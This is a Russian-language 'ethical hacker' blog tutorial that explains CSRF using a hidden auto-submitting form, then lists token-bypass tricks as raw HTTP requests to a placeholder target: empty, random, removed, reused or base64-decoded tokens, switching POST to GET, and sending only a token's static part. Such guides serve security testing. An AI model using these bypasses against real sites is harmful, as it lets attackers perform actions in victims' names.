Методы обхода защиты от CSRF
Этичный Хакер
Немного про уязвимость
CSRF (Cross-Site Request Forgery, также XSRF) – опаснейшая атака, которая приводит к тому, что хакер может выполнить на неподготовленном сайте массу различных действий от имени других, зарегистрированных посетителей.
Какие это действия – отправка ли сообщений, перевод денег со счёта на счёт или смена паролей – зависят от сайта, но в любом случае эта атака входит в образовательный минимум веб-разработчика.
«Классический» сценарий атаки таков:
- Вася является залогиненным на сайт, допустим,
mail.com. У него есть сессия в куках. - Вася попал на «злую страницу», например хакер пригласил его сделать это письмом или как-то иначе.
- На злой странице находится форма такого вида:
<form action="http://mail.com/send" method="POST"> <input type="hidden" name="message" value="Сообщение"> ... </form>
- При заходе на злую страницу JavaScript вызывает
form.submit, отправляя таким образом форму наmail.com. - Сайт
mail.comпроверяет куки, видит, что посетитель авторизован и обрабатывает форму. В данном примере форма предполагает посылку сообщения.
Итог атаки – Вася, зайдя на злую страницу, ненароком отправил письмо от своего имени. Содержимое письма сформировано хакером.

В примере выше атака использовала слабое звено авторизации.
Куки позволяют сайту mail.com проверить, что пришёл именно Вася, но ничего не говорят про данные, которые он отправляет.
Типичный способ защиты сайтов – это присвоение посетителю специального токена, который генерируется случайным образом при авторизации и сохраняется в его сессии.
Подробнее про формирование секретного ключа, токена и способов защиты можешь прочитать на этом замечательном ресурсе. Описание взято с него же.
Мы же поговорим про способы обхода данной защиты, путём различных манипуляций с токенами.
Обход защиты от CSRF
Данные способы основаны на различных манипуляциях с CSRF токеном в запросе.
Стандартный запрос имеет вид:
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=sdf23
Рассмотрим теперь наиболее частые способы обхода защиты:
- Отправка пустого значения токена
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=
- Замена на случайный токен той же длины. Используйте случайные буквенно-цифровые токены:
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=jhdsdf
- В некоторых случаях сервер проверяет токены в запросах POST. Таким образом, если злоумышленник изменит его на запрос GET, то легко обойдет защиту.
GET /register?username=shadow&password=123456&token=aaaaaa HTTP/1.1 Host: target.com [...]
- Удаление токена из запроса
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123
- Использование токена другого пользователя
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=ANOTHER_VALID_TOKEN
- Попытка расшифровать хэш
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=MTIzNDU2
В данном случае MTIzNDU2 => это 123456 в переводе с base64
- Иногда анти-CSRF токен состоит из 2 частей, одна из которых остается статической, а другая - динамической.
Отправляем запрос с одного пользователя:
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=vi802jg9f8akd9j123
Проходим повторную регистрацию и отправляем запрос с другого:
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=vi802jg9f8akd9j124
Если вы заметили, что часть токена vi802jg9f8akd9j остается прежней, то нужно отправить только статическую часть:
POST /register HTTP/1.1 Host: target.com [...] username=username&password=123&token=vi802jg9f8akd9j